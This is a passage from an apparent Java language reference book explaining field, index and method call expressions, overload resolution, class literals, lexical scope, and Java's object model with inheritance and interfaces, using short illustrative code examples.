    Shadow(int value) {
        this.value=value;
    }
}

In the above example, the identifier value is used as both the name of a field variable and the name of a formal parameter in the constructor. Within the constructor, the unqualified identifier value refers to the formal parameter, not to the field variable. In order to access the field variable, you have to qualify value with this.

In addition to allowing an object to refer to itself, the keyword this has another use in field expressions. The construct ClassOrInterfaceName.this identifies the enclosing instance of an object that is an instance of an inner class.[2] Consider the following example:

[2] Since this construct fetches an object reference, you might expect it to be a primary expression. However, due to the way in which inner classes are implemented, this construct is actually a field expression.

public class ImageButton extends Canvas {
    ...
    private class MyImage extends Image {
        Image fileImage;
        MyImage(String fileName) throws IOException {
            URL url = new URL(fileName);
            ImageProducer src = (ImageProducer)url.getContent();
            Image fileImage = createImage(src);
            prepareImage(this, ImageButton.this);
        }
    ...

The call to prepareImage() takes two arguments. The first argument is a reference to this instance of the MyImage class. The second argument is a reference to this object's enclosing instance, which is an instance of the ImageButton class.

Here are some examples of field expressions that consist of a PrimaryExpression and an Identifier:

this.myVar
size().height
(new Foo()).bar

A primary expression that appears at the beginning of a field expression must produce a reference to an object. The identifier to the right of the dot must be the name of a field variable in the object referred to by the primary expression. If, at runtime, the primary expression in a field expression produces the value null, a NullPointerException is thrown.

Here's an example of a field expression that consists of a ClassOrInterfaceName and an Identifier:

Double.POSITIVE_INFINITY

A field expression that begins with ClassOrInterfaceName produces a field variable of the specified class. If the field variable is not declared static, the specified class must either be the same class in which the field expression appears or a superclass of that class.

Such a field expression is approximately equivalent to:

((ClassOrInterfaceName)this).Identifier

If ClassOrInterfaceName specifies a class or interface defined in a different package than the package in which the field expression appears, the class name must be qualified by the package in which the class is defined. For example:

java.awt.Event.MOUSE_UP

However, if an import statement imports the specified class, the package name is not necessary.

ClassOrInterfaceName can refer to an inner class or a nested top-level class or interface by qualifying the name of the class or interface with the name of the enclosing class. For example, consider the following declaration:

public class A {
    public class B {
    }
}

Based on this declaration, you can create a new instance of B as follows:

new A.B()

Most field expressions produce variables when they are evaluated. This means that the field expression can be used as the left operand of an assignment operator. A field expression produces a pure value, rather than a variable, if the identifier at the end of the field expression is a field variable that is declared final. Such a field expression returns a pure value because the value of a final variable cannot be modified. A field expression that produces a pure value cannot be the left operand of an assignment operator, or the operand of the ++ or - - operators. Here's an erroneous example:

final int four=4
four++

This is equivalent to:

4++

As such, it causes the Java compiler to issue an error message.

When the Java compiler detects an expression that uses the value of a local variable that may not have been initialized, it issues an error message. For example:

{
    int x;
    if (testForSomething())
        x = 4;
    System.out.println(x);    // Compiler complains
}

The compiler complains about the use of x in the println() method because x may not have been given an explicit value when the program reaches that statement. Even though there is an assignment to x in the preceding statement, the compiler recognizes that the assignment may not have been performed, since it is enclosed within a conditional statement. The Java language specification requires that a compiler issue an error message when it detects an uninitialized local variable.

References
Identifiers;
Inheritance;
Inner Classes;
Interface Variables;
Local Variables;
Packages;
Primary Expressions;
Runtime exceptions;
Variables

Index Expressions

An index expression is a primary expression that produces an array element when it is evaluated. The value produced by an index expression is a variable; it can be used as the left operand of an assignment expression. The data type of an index expression is the data type of the array element produced by the expression:

[Graphic: Figure from the text]

When the compiler evaluates an index expression, the term to the left of the square brackets is evaluated before the expression inside of the square brackets. If the term produces the value null, a NullPointerException is thrown.

Array indexing uses an int-valued expression between the square brackets. If the type of the expression is byte, char, or short, the value is automatically converted to int. An array index cannot be of type long. The value of the array index must be in the range zero to one less than the length of the array. An array object detects an out-of-range index value and throws an ArrayIndexOutOfBoundsException.

Because of the precedence of Java expressions, an array allocation expression can only be indexed when the expression is enclosed in parentheses. For example:

(new int[6])[3]

This expression refers to the fourth element of the newly created array. Leaving out the parentheses results in the following:

new int[6][3]

This is not an index expression, but an array allocation expression that allocates an array of 3 arrays of 6 integers.

References
Array Allocation Expressions;
Array Types;
Expression 4;
Term 4.1;
Exceptions

Method Call Expression

A method call expression is a primary expression that invokes a method:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

A method call expression produces the pure value returned by the method; the type of this value is specified by the return type in the method declaration. But if the method has the return type void, the expression does not produce a value.

The PrimaryExpression, if present, is evaluated first. Then expressions provided as method arguments are evaluated from left to right. Finally, the method is invoked.

When a method call is made to a method that is not static, the call is made through an object reference:

  • If the method call expression does not contain a PrimaryExpression or ClassOrInterfaceName before the method name, the method call is made implicitly through the object referenced by the keyword this. This form of a method call expression is treated as if it were written:

    this.Identifier(...)

  • If the method call expression contains a PrimaryExpression before the method name, the call is made through the object reference produced by the PrimaryExpression.

  • If the method call expression contains a ClassOrInterfaceName before the method name, then the specified class must either be the same class in which the method call expression appears or a superclass of that class. In this case, the method call is made through the object referenced by the keyword this. This form of a method call expression is treated as if it were written:

    ((ClassOrInterfaceName)this).Identifier(...)

When a method call is made to a static method, the call is made through a class or interface type:

  • If the method call expression does not contain a PrimaryExpression or ClassOrInterfaceName before the method name, the method call is made implicitly through the class that contains the call.

  • If the method call expression contains a PrimaryExpression before the method name, the call is made through the class of the object reference produced by the PrimaryExpression.

  • If the method call expression contains a ClassOrInterfaceName before the method name, the method call is made through the specified class or interface type.

The rules for supplying actual values for the formal parameters of a method are similar to the rules for assignment. A particular value can be specified as the actual value of a formal parameter if and only if it is assignment-compatible with the type of the formal parameter. You can use a type cast to make a value assignment compatible with a formal parameter.

The process that the Java compiler uses to select the actual method that will be invoked at runtime is rather involved. The compiler begins by finding any methods that have the specified name. If the method call has been made through an object reference, the compiler searches in the class of that object reference. If the call has been made through a specific class or interface name, the compiler searches in that class or interface. The compiler searches all of the methods defined in the particular class or interface, as well as any methods that are inherited from superclasses or super-interfaces. At this point, the compiler is searching for both static and non-static methods, since it does not know which type of method is being called.

If the compiler finds more than one method, that means the method is overloaded. Consider this example:

public class MyMath {
    public int square(int x) { return x*x; }
    public long square(long x) { return x*x; }
    public float square(float x) { return x*x; }
    public double square(double x) { return x*x; }
    public double hypotenuse(double x, double y) {
        return Math.sqrt(x*x + y*y);
    }
}

In the above example, the square() method is overloaded, while hypotenuse() is not.

If the method is overloaded, the compiler then determines which of the methods has formal parameters that are compatible with the given arguments. If more than one method is compatible with the given arguments, the method that most closely matches the given parameters is selected. If the compiler cannot select one of the methods as a better match than the others, the method selection process fails and the compiler issues an error message. Note that the return types of overloaded methods play no part in selecting which method is to be invoked.

After the compiler successfully selects the method that most closely matches the specified arguments, it knows the name and signature of the method that will be invoked at runtime. It does not, however, know for certain what class that method will come from. Although the compiler may have selected a method from MyMath, it is possible that a subclass of MyMath could define a method that has the same name and the same number and types of parameters as the selected method. In this case, the method in the subclass overrides the method in MyMath. The compiler cannot know about overriding methods, so it generates runtime code that dynamically selects the appropriate method.

Here are the details of the three-step method selection process:

Step One

The method definitions are searched for methods that, taken in isolation, could be called by the method call expression. If the method call expression uses an object reference, the search takes place in the class of that object reference. If the expression uses a specific class or interface name, the search takes place in that class or interface. The search includes all of the methods defined in the particular class or interface, as well as any methods inherited from superclasses or super-interfaces. The search also includes both static and non-static methods.

A method is a candidate if it meets the following criteria:

  • The name of the method is the same as the name specified in the method call expression.

  • The method is accessible to the method call expression, based on any access modifiers specified in the method's declaration.

  • The number of formal parameters declared for the method is the same as the number of actual arguments provided in the method call expression.

  • The data type of each actual parameter is assignment-compatible with the corresponding formal parameter.

Consider the following expression that calls a method defined in the preceding example:

MyMath m;
m.square(3.4F)

Here is how the Java compiler uses the above criteria to decide which method the expression actually calls:

  • The name square matches four methods defined in the MyMath class, so the compiler must decide which one of those methods to invoke.

  • All four methods are declared public, so they are all accessible to the above expression and are thus all still viable candidates.

  • The method call expression provides one argument. Since the four methods under consideration each take one argument, there are still four possible choices.

  • The method call expression is passing a float argument. Because a float value cannot be assigned to an int or a long variable, the compiler can eliminate the versions of square() that take these types of arguments. That still leaves two possible methods for the above expression: the version of square() that takes a float argument and the one that takes a double argument.

Step Two

If more than one method meets the criteria in Step One, the compiler tries to determine if one method is a more specific match than the others. If there is no method that matches more specifically, the selection process fails and the compiler issues an error message.

Given two methods, A() and B(), that are both candidates to be invoked by the same method call expression, A() is more specific than B() if:

  • The class in which the method A() is declared is the same class or a subclass of the class in which the method B() is declared.

  • Each parameter of A() is assignment-compatible with the corresponding parameter of B().

Let's go back to our previous example. We concluded by narrowing the possible methods that the expression m.square(3.4F) might match to the methods in MyMath named square() that take either a float or a double argument. Using the criteria of this step, we can further narrow the possibilities. These methods are declared in the same class, but the version of square() that takes a float value is more specific than the one that takes a double value. It is more specific because a float value can be assigned to a double variable, but a double value cannot be assigned to a float variable without a type cast.

There are some cases in which it is not possible to choose one method that is more specific than others. When this happens, the Java compiler treats the situation as an error and issues an appropriate error message.

For example, consider a situation where the compiler needs to choose between two methods declared as follows:

double foo(float x, double y)
double foo(double x, float y)

Neither method is more specific than the other. The first method is not more specific because the type of its second parameter is double and double values cannot be assigned to float variables. The second method is not more specific because of a similar problem with its first parameter.

Step Three

After successfully completing the previous two steps, the Java compiler knows that the expression in our example will call a method named square() and that the method will take one float argument. However, the compiler does not know if the method called at runtime will be the one defined in the MyMath class. It is possible that a subclass of MyMath could define a method that is also called square() and takes a single float argument. This method in a subclass would override the method in MyMath. If the variable m in the expression m.square(3.4F) refers to such a subclass, the method defined in the subclass is called instead of the one defined in MyMath.

The Java compiler generates code to determine at runtime which method named square() that takes a single float argument it should call. The Java compiler must always generate such runtime code for method call expressions, unless it is able to determine at compile time the exact method to be invoked at runtime.

There are four cases in which the compiler can know exactly which method is to be called at runtime:

  • The method is called through an object reference, and the type of the reference is a final class. Since the type of the reference is a final class, Java does not allow any subclasses of that class to be defined. Therefore, the object reference will always refer to an object of the class declared final. The Java compiler knows the actual class that the reference will refer to, so it can know the actual method to be called at runtime.

  • The method is invoked through an object reference, and the type of the reference is a class that defines or inherits a final method that has the method name, number of parameters, and types of parameters determined by the preceding steps. In this case, the compiler knows the actual method to be called at runtime because final methods cannot be overridden.

  • The method is a static method. When a method is declared static, it is also implicitly declared final. Thus, the compiler can be sure that the method to be called at runtime is the one defined in or inherited by the specified class that has the method name, number of parameters, and types of parameters determined by the preceding steps.

  • The compiler is able to deduce that a method is invoked through an object reference that will always refer to the same class of object at runtime. One way the compiler might deduce this is through data flow analysis.

If none of the above cases applies to a method call expression, the Java compiler must generate runtime code to determine the actual method to be invoked. The runtime selection process begins by getting the class of the object through which the method is being invoked. This class is searched for a method that has the same name and the same number and types of parameters as the method selected in Step Two. If this class does not contain such a definition, its immediate superclass is searched. If the immediate superclass does not contain an appropriate definition, its superclasses are searched, and so on up the inheritance hierarchy. This search process is called dynamic method lookup.

Dynamic method lookup always begins with the class of the actual object being referenced. The type of the reference being used to access the object does not influence where the search for a method begins. The one exception to this rule occurs when the keyword super is used as part of the method call expression. The form of this type of method call expression is:

super.Identifier(...)

In this case, dynamic method lookup begins by searching the superclass of the class that the calling code appears in.

Now that we've gone through the entire method selection process, let's consider an example that illustrates the process:

class A {}
class B extends A {}
class C extends B {}
class D extends C {}
class W {
    void foo(D d) {System.out.println("C");}
}
class X extends W {
    void foo(A a) {System.out.println("A");}
    void foo(B b) {System.out.println("X.B");}
}
class Y extends X {
    void foo(B b) {System.out.println("Y.B");}
}
class Z extends Y {
    void foo(C c) {System.out.println("D");}
}
public class CallSelection {
    public static void main(String [] argv) {
        Z z = new Z();
        ((X) z).foo(new C());
    }
}

In the class CallSelection, the method main() contains a call to a method named foo(). This method is called through an object reference. Although the object refers to an instance of the class Z, it is treated as an instance of the class X because the reference is type cast to the class X. The process of selecting which method to call proceeds as follows:

  1. The compiler finds all of the methods named foo() that are accessible through an object of class X: foo(A), foo(B), and foo(D). However, because a reference to an object of class C cannot be assigned to a variable of class D, foo(D) is not a candidate to be invoked by the method call expression.

  2. Now the compiler must choose one of the two remaining foo() methods as more specific than the other. Both methods are defined in the same class, but foo(B) is more specific than foo(A) because a reference to an object of class B can be assigned to a variable declared with a type of class A.

  3. At runtime, the dynamic method lookup process finds that it has a reference to an object of class Z. The fact that the reference is cast to class X is not significant, since dynamic lookup is concerned with the class of an object, not the type of the reference used to access the object. The definition of class Z is searched for a method named foo() that takes one parameter that is a reference to an object of class B. No such method is found in the definition of class Z, so its immediate superclass, class Y, is searched. Such a method is found in class Y, so that method is invoked.

Here is another example that shows some ambiguous and erroneous method call expressions:

class A {}
class B extends A {}
class AmbiguousCall {
    void foo(B b, double x){}
    void foo(A a, int i){}
    void doit() {
        foo(new A(), 8);   // Matches foo(A, int)
        foo(new A(), 8.0); // Error: doesn't match anything
        foo(new B(), 8);   // Error: ambiguous, matches both
        foo(new B(), 8.0); // Matches foo(B, double)
    }
}

References
Assignment Compatibility;
ClassOrInterfaceName 4.1.6;
Casts;
Expression 4;
Identifiers;
Inheritance;
Interface Methods;
Methods;
Primary Expressions

Class Literals

A class literal is an expression that produces a reference to a Class object that identifies a specified data type. Class literals are not supported prior to Java 1.1. Here's the syntax for a class literal:

[Graphic: Figure from the text]

If the type in a class literal is a reference type, the class literal produces a reference to the Class object that defines the specified reference type. The following are some examples of this type of class literal:

String.class
java.util.Stack.class
myNewClass.class

Such a class literal can throw a NoClassDefFoundError if the specified class is not available.

You can also call Class.forName() with the name of a specified reference type to retrieve the Class object for that type. For example:

Class.forName("java.util.Stack")

A class literal and a call to Class.forName() for the same reference type return the same Class object. There are certain situations when it makes sense to use a class literal, while in other cases a call to Class.forName() is more appropriate. Here are the differences between the two techniques for retrieving a Class object:

  • A class literal cannot contain an expression, so it always refers to the same type. However, the argument passed to Class.forName() can be an expression that produces different strings that name different classes.

  • The class or interface name passed to Class.forName() must be fully qualified by its package name. The class or interface name in a class literal, however, does not typically need to include a package name because the Java compiler can use information provided in package and import directives to deduce the package name.

  • The name of an inner class can be used directly with a class literal. Because of the way that inner-class names are encoded, however, when an inner-class name is passed to Class.forName(), the name must contain dollar signs ($) in place of dots (.).

  • The efficiency of a class literal is comparable to a field reference; it is more efficient than the method call required by Class.forName().

If the type in a class literal is void or a primitive type, the class literal produces a reference to a unique Class object that represents void or the specified type. The special Class object that represents void or a primitive type can be distinguished from a Class object that represents a reference type by calling its isPrimitive() method. This method only returns true if the Class object represents void or a primitive type. The getName() method of a special Class object returns a string that contains the name of the primitive type represented by the object. The easiest way to determine the primitive type of a special Class object is to compare it to the TYPE variables of the primitive wrapper classes. The following comparisons always produce true:

boolean.class == Boolean.TYPE
byte.class == Byte.TYPE
short.class == Short.TYPE
int.class == Integer.TYPE
long.class == Long.TYPE
char.class == Character.TYPE
float.class == Float.TYPE
double.class == Double.TYPE
void.class == Void.TYPE

References
Boolean;
Byte;
Character;
Class;
Double;
Errors;
Float;
Inner Classes;
Integer;
Long;
Short;
Void;
Type 3

Previous | Home | Next
Reference Types | Book Index | Allocation Expressions
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] Declarations

Java Language Reference

Previous Chapter 5 Next

5. Declarations

Contents:
Naming Conventions
Lexical Scope of Declarations
Object-Orientation Java Style
Class Declarations
Interface Declarations

A declaration is a construct that associates a name with storage that contains specified data or a specified type of data. More specifically, declarations associate names with classes, interfaces, methods, and variables. In addition, the declaration of a class, interface, or method defines the actual class, interface, or method that is associated with the name. Methods and variables can only be declared within classes and interfaces, so this chapter covers method and variable declarations in the context of class and interface declarations.

Every name has a lexical scope. The scope of a declaration determines the portions of a program in which the declaration is applicable.

A declaration can be preceded by modifiers that specify attributes of the name or of the data associated with the name. One such attribute for a name is its accessibility. The accessibility modifiers specify the other classes that can access the data associated with the name. The static modifier specifies an attribute for data; it indicates whether the data is associated with a class or with individual instances of a class.

Because Java is an object-oriented programming language, this chapter also describes the object-oriented model used by the language. An understanding of this model is necessary for a complete understanding of class and interface declarations.

5.1 Naming Conventions

The Java language has no requirements for choosing names, aside from the lexical requirements for identifiers stated in Identifiers. However, there are certain conventions that you should follow when choosing names; these conventions are the ones used by Sun in much of the Java API. Following these conventions makes your programs easier to read, as many programmers are already accustomed to reading programs that use them:

  • If an identifier is logically made up of multiple words, the first letter of each word other than the first is uppercase and the rest of the letters are lowercase (e.g., aSimpleExample). Sun is consistent about following this convention.

  • The first letter of the name of a class or interface is uppercase, while the first letter of all other names is lowercase. Sun is also consistent about following this convention.

  • The names of final variables that are intended to represent symbolic constants are all uppercase; logical words contained in the name are separated by underscore characters (e.g., MAX_LEGAL_VALUE). Sun uses this convention quite often, but is not entirely consistent.

  • Some Java programmers have adopted the additional convention of beginning the names of instance variables with an underscore (e.g., _value).

  • Avoid the use of $ in names to prevent confusion with compiler-generated names. Sun is consistent about following this convention.

References
Class Name;
Identifiers;
Interface Name;
Interface Variables;
Variables

Previous | Home | Next
Constant Expressions | Book Index | Lexical Scope of Declarations
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.2 Lexical Scope of Declarations

Java Language Reference

Previous Chapter 5
Declarations 		Next

5.2 Lexical Scope of Declarations

The lexical scope of a declaration determines where the named entity is a valid identifier. Every declaration is associated with a lexical level that corresponds to one of the following Java constructs:

Package

The names at this level include all of the non-nested, outer-level class and interface declarations in files that belong to the same package as the file that is being compiled. This level also includes non-nested, outer-level class and interface declarations that are declared public in other packages.

.java file

The names at this level include all of the class and interface declarations in the file, as well as all of the classes and interfaces that are imported by the file. The names declared directly in a file are defined from the beginning to the end of the file. An import statement defines simple identifiers as synonyms for names that are only fully qualified with the name of a package. These synonyms for fully qualified names are defined from the import statement that defines them to the end of the file.

Class or interface declaration

The names at this level include the names of methods, variables, and classes or interfaces that are declared directly in the class or interface declaration, as well as names inherited from superclasses or super interfaces. The names declared in a class or interface are defined throughout the class or interface.

Method declaration

The names at this level include the formal parameters of the method. The formal parameters are defined throughout the method.

Block

The names at this level include the local variables, local classes, and statement labels declared in the block. Statement labels are defined throughout a block, while local variables and classes are defined from their declaration to the end of the block.

A nested block or a for statement

The names at this level include local variables declared in the initialization of the for statement or the local variables, classes, and statement labels declared in a nested block. Local variables declared in the initialization of a for statement are defined from their declaration to the end of the for statement. Statement labels are defined throughout a nested block, while local variables and classes are defined from their declaration to the end of the nested block.

These lexical levels correspond to nested constructs. When the Java compiler encounters a name in a program, it finds the declaration for that name by first looking in the lexical level where the name is encountered. If the compiler does not find the name in that lexical level, it searches progressively higher lexical levels until it finds the declaration. If all of the lexical levels are exhausted, the compiler issues an error message.

If, however, an identifier is qualified by a class or package name, the compiler only searches that lexical level for a declaration.

References
Blocks;
Class Declarations;
Interface Declarations;
Packages;
Methods;
The for Statement

Previous | Home | Next
Naming Conventions | Book Index | Object-Orientation Java Style
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.3 Object-Orientation Java Style

Java Language Reference

Previous Chapter 5
Declarations 		Next

5.3 Object-Orientation Java Style

Before considering class and interface declarations in Java, it is essential that you understand the object-oriented model used by the language. No useful programs can be written in Java without using objects. Java deliberately omits certain C++ features that promote a less object-oriented style of programming. Thus, all executable code in a Java program must be part of an object (or a class to be more precise).

The two main characteristics of objects in Java are:

  • Objects are always dynamically allocated. The lifetime of the storage occupied by an object is determined by the program's logic, not by the lifetime of a procedure call or the boundaries of a block. The lifetime of the storage occupied by an object refers to the span of time that begins when the object is created and ends at the earliest time it can be freed by the garbage collector.

  • Objects are not contained by variables. Instead, a variable contains a reference to an object. A reference is similar to what is called a pointer in some other languages. If there are two variables of the same reference type and one of the variables is assigned to the other, both variables refer to the same object. If the information in that object is changed, the change is visible through both variables.

Classes

An object is a collection of variables, associated methods, and other associated classes. Objects in Java are described by classes; a particular object is an instance of a particular class. A class describes the data an object can contain by defining variables to contain the data in each instance of the class. A class describes the behavior of an object by defining methods for the class and possibly other auxiliary classes. Methods are named pieces of executable code; they are similar to what other programming languages call functions or procedures. Collectively, the variables, methods, and auxiliary classes of a class are called its members.

A class can define multiple methods with the same name if the number or type of parameters for each method is different. Multiple methods with the same name are called overloaded methods. Like C++, Java supports overloaded methods, but unlike C++, Java does not support overloaded operators. Overloaded methods are useful when you want to describe similar operations on different types of data. For example, Java provides a class called java.io.OutputStream that is used to write data. The OutputStream class defines three different write() methods: one to write a single byte of data, another to write some of the bytes in an array, and another to write all of the bytes in an array.

References Class Declarations

Encapsulation

Encapsulation is the technique of hiding the details of the implementation of an object, while making its functionality available to other objects. When encapsulation is used properly, you can change an object's implementation without worrying that any other object can see, and therefore depend on, the implementation details.

The portion of an object that is accessible to other types of objects is called the object's interface.[1] For example, consider a class called Square. The interface for this class might consist of:

[1] The notion of an object's interface is a commonly accepted concept in the object-oriented community. Later in this chapter, a Java construct called an interface is described. A Java interface is not the same thing as the interface of an object, so there is some potential for confusion. Outside of this section, the term "interface" is only used to mean the Java interface construct.

  • Methods to get and set the size of a square.

  • A method to tell a square to draw itself at a particular location on the screen.

The implementation of this Square class would include executable code that implements the various methods, as well as an internal variable that an object would use to remember its size. Variables that an object uses to remember things about itself are called state variables.

The point of the distinction between the interface and the implementation of a class is that it makes programs easier to maintain. The implementation of a class may change, but as long as the interface remains the same, these changes do not require changes to any other classes that may use the class.

In Java, encapsulation is implemented using the public, protected, and private access modifiers. If a field of a class is part of the interface for the class, the field should be declared with the public modifier or with no access modifier. The private and protected modifiers limit the accessibility of a field, so these modifiers should be used for state variables and other implementation-specific functionality.

Here's a partial definition of a Square class that has the interface just described:

class Square {
    private int sideLength;
    public void setSideLength(int len) {
        sideLength = len;
    }
    public int getSideLength() {
        return sideLength;
    }
    public void draw(int x, int y) {
        // code to draw the square
        ...
    }
}

References Method modifiers; Inner class modifiers; Variable modifiers

Object Creation

An object is typically created using an allocation expression. The newInstance() methods of the Class or java.lang.reflect.Contructor class can also be used to create an instance of a class. In either case, the storage needed for the object is allocated by the system.

When a class is instantiated, a special kind of method called a constructor is invoked. A constructor for a class does not have its own name; instead it has the same name as the class of which it is a part. Constructors can have parameters, just like regular methods, and they can be overloaded, so a class can have multiple constructors. A constructor does not have a return type. The main purpose of a constructor is to do any initialization that is necessary for an object.

If a class declaration does not define any constructors, Java supplies a default public constructor that takes no parameters. You can prevent a class from being instantiated by methods in other classes by defining at least one private constructor for the class without defining any public constructors.

References Class; Constructors; Object Allocation Expressions

Object Destruction

Java does not provide any way to explicitly destroy an object. Instead, an object is automatically destroyed when the garbage collector detects that it is safe to do so. The idea behind garbage collection is that if it is possible to prove that a piece of storage will never be accessed again, that piece of storage can be freed for reuse. This is a more reliable way of managing storage than having a program explicitly deallocate its own storage. Explicit memory allocation and deallocation is the single largest source of programming errors in C/C++. Java eliminates this source of errors by handling the deallocation of memory for you.

Java's garbage collector runs continuously in a low priority thread. You can cause the garbage collector to take a single pass through allocated storage by calling System.gc().

Garbage collection will never free storage before it is safe to do so. However, garbage collection usually does not free storage as soon as it would be freed using explicit deallocation. The logic of a program can sometimes help the garbage collector recognize that it is safe to free some storage sooner rather than later. Consider the following code:

class G {
    byte[] buf;
    String readIt(FileInputStream f) throws IOException {
        buf = new byte[20000];
        int length = f.read(buf);
        return new String(buf, 0, 0, length);
    }
}

The first time readIt() is called, it allocates an array that is referenced by the instance variable buf. The variable buf continues to refer to the array until the next time that readIt() is called, when buf is set to a new array. Since there is no longer any reference to the old array, the garbage collector will free the storage on its next pass. This situation is less than optimal. It would be better if the garbage collector could recognize that the array is no longer needed once a call to readIt() returns. Defining the variable buf as a local variable in readIt() solves this problem:

class G {
    String readIt(FileInputStream f) throws IOException {
        byte[] buf;
        buf = new byte[20000];
        int length = f.read(buf);
        return new String(buf, 0, 0, length);
    }
}

Now the reference to the array is in a local variable that disappears when readIt() returns. After readIt() returns, there is no longer any reference to the array, so the garbage collector will free the storage on its next pass.

Just as a constructor is called when an object is created, there is a special method that is called before an object is destroyed by the garbage collector. This method is called a finalizer ; it has the name finalize(). A finalize() method is similar to a destructor in C++. The finalize() method for a class must be declared with no parameters, the void return type, and no modifiers. A finalizer can be used to clean up after a class, by doing such things as closing files and terminating network connections.

If an object has a finalize() method, it is normally called by the garbage collector before the object is destroyed. A program can also explicitly call an object's finalize() method, but in this case, the garbage collector does not call the method during the object destruction process. If the garbage collector does call an object's finalize() method, the garbage collector does not immediately destroy the object because the finalize() method might do something that causes a variable to refer to the object again.[2] Thus the garbage collector waits to destroy the object until it can again prove it is safe to do so. The next time the garbage collector decides it is safe to destroy the object, it does so without calling the finalizer again. In any case, a finalize() method is never called more than once for a particular object.

[2] A finalize() method should not normally do something that results in a reference to the object being destroyed, but Java does not do anything to prevent this situation from happening.

The garbage collector guarantees that the thread it uses to call a finalize() method will not be holding any programmer-visible synchronization locks when the method is called. This means that a finalize() method never has to wait for the garbage collector to release a lock. If the garbage collector calls a finalize() method and the finalize() method throws any kind of exception, the garbage collector catches and ignores the exception.

References System; The finalize method

Inheritance

One of the most important benefits of object-oriented programming is that it promotes the reuse of code, particularly by means of inheritance. Inheritance is a way of organizing related classes so that they can share common code and state information. Given an existing class declaration, you can create a similar class by having it inherit all of the fields in the existing definition. Then you can add any fields that are needed in the new class. In addition, you can replace any methods that need to behave differently in the new class.

To illustrate the way that inheritance works, let's start with the following class definition:

class RegularPolygon {
    private int numberOfSides;
    private int sideLength;
    RegularPolygon(int n, int len) {
        numberOfSides = n;
        sideLength = len;
    }
    public void setSideLength(int len) {
        sideLength = len;
    }
    public int getSideLength() {
        return sideLength;
    }
    public void draw(int x, int y) {
        // code to draw the regular polygon
        ...
    }
}

The RegularPolygon class defines a constructor, methods to set and get the side length of the regular polygon, and a method to draw the regular polygon. Suppose that after writing this class you realize that you have been using it to draw a lot of squares. You can use inheritance to build a more specific Square class from the existing RegularPolygon class as follows:

class Square extends   RegularPolygon {
    Square(int len) {
        super(4,len);
    }
}

The extends clause indicates that the Square class is a subclass of the RegularPolygon class, or looked at another way, RegularPolygon is a superclass of Square. When one class is a subclass of another class, the subclass inherits all of the fields of its superclass that are not private. Thus Square inherits setSideLength(), getSideLength(), and draw() methods from RegularPolygon. These methods work fine without any modification, which is why the definition of Square is so short. All the Square class needs to do is define a constructor, since constructors are not inherited.

There is no limit to the depth to which you can carry subclassing. For example, you could choose to write a class called ColoredSquare that is a subclass of the Square class. The ColoredSquare class would inherit the public methods from both Square and RegularPolygon. However, ColoredSquare would need to override the draw() method with an implementation that handles drawing in color.

Having defined the three classes RegularPolygon, Square, and ColoredSquare, it is correct to say that RegularPolygon and Square are superclasses of ColoredSquare and ColoredSquare and Square are subclasses of RegularPolygon. To describe a relationship between classes that extends through exactly one level of inheritance, you can use the terms immediate superclass and immediate subclass. For example, Square is an immediate subclass of RegularPolygon, while ColoredSquare is an immediate subclass of Square. By the same token, RegularPolygon is the immediate superclass of Square, while Square is the immediate superclass of ColoredSquare.

A class can have any number of subclasses or superclasses. However, a class can only have one immediate superclass. This constraint is enforced by the syntax of the extends clause; it can only specify the name of one superclass. This style of inheritance is called single inheritance ; it is different from the multiple inheritance scheme that is used in C++.

Every class in Java (except Object) has the class Object as its ultimate superclass. The class Object has no superclass. The subclass relationships between all of the Java classes can be drawn as a tree that has the Object class as its root. Another important difference between Java and C++ is that C++ does not have a class that is the ultimate superclass of all of its classes.

References Class Inheritance; Interfaces; Object

Abstract classes

If a class is declared with the abstract modifier, the class cannot be instantiated. This is different than C++, which has no way of explicitly specifying that a class cannot be instantiated. An abstract class is typically used to declare a common set of methods for a group of classes when there are no reasonable or useful implementations of the methods at that level of abstraction.

For example, the java.lang package includes classes called Byte, Short, Integer, Long, Float, and Double. These classes are subclasses of the abstract class Number, which declares the following methods: byteValue(), shortValue(), intValue(), longValue(), floatValue(), and doubleValue(). The purpose of these methods is to return the value of an object converted to the type implied by the method's name. Every subclass of Number implements all of these methods. The advantage of the abstraction is that it allows you to write code to extract whatever type of value you need from a Number object, without knowing the actual type of the underlying object.

Methods defined in an abstract class can be declared abstract. An abstract method is declared without any implementation; it must be overridden in a subclass to provide an implementation.

References
Class Modifiers;
Inner class modifiers;
Local class modifiers;
Method modifiers;
Number

Final classes

If a class is declared with the final modifier, the class cannot be subclassed. Declaring a class final is useful if you need to ensure the exact properties and behavior of that class. Many of the classes in the java.lang package are declared final for that reason.

Methods defined in a non-abstract class can be declared final. A final method cannot be overridden by any subclasses of the class in which it appears.

References
Class Modifiers;
Inner class modifiers;
Local class modifiers;
Method modifiers

Interfaces

Java provides a construct called an interface to support certain multiple inheritance features that are desirable in an object-oriented language. An interface is similar to a class, in that an interface declaration can define both variables and methods. But unlike a class, an interface cannot provide implementations for its methods.

A class declaration can include an implements clause that specifies the name of an interface. When a class declaration specifies that it implements an interface, the class inherits all of the variables and methods declared in that interface. The class declaration must then provide implementations for all of the methods declared in the interface, unless the class is declared as an abstract class. Unlike the extends clause, which can only specify one class, the implements clause can specify any number of interfaces. Thus a class can implement an unlimited number of interfaces.

Interfaces are most useful for declaring that an otherwise unrelated set of classes have a common set of methods, without needing to provide a common implementation. For example, if you want to store a variety of objects in a database, you might want all of the those objects to have a common set of methods for storing and fetching. Since the fetch and store methods for each object need to be different, it is appropriate to declare these methods in an interface. Then any class that needs fetch and store methods can implement the interface.

Here is a simplistic example that illustrates such an interface:

public interface Db {
    void dbStore(Database d, Object key);
    Object dbFetch(Database d, Object key);
}

The Db interface declaration contains two methods, dbStore() and dbFetch(). Here is a partial class definition for a class that implements the Db interface:

class DbSquare extends Square implements Db {
    public void dbStore(Database d, Object key) {
        // Perform database operation to store Square
        ...
    }
    public Square dbFetch(Database d, Object key) {
        // Perform database operation to fetch Square
        ...
    }
    ...
}

The DbSquare class defines implementations for both of the methods declared in the Db interface. The point of this interface is that it provides a uniform way for unrelated objects to arrange to be stored in a database. The following code shows part of a class that encapsulates database operations:

class Database {
    ...
    public void store(Object o, Object key) {
        if (o instanceof Db)
          ((Db)o).dbStore(this, key);
    }
    ...
}

When the database is asked to store an object, it does so only if the object implements the Db interface, in which case it can call the dbStore() of the object.

References Interface Declarations

Inner Classes

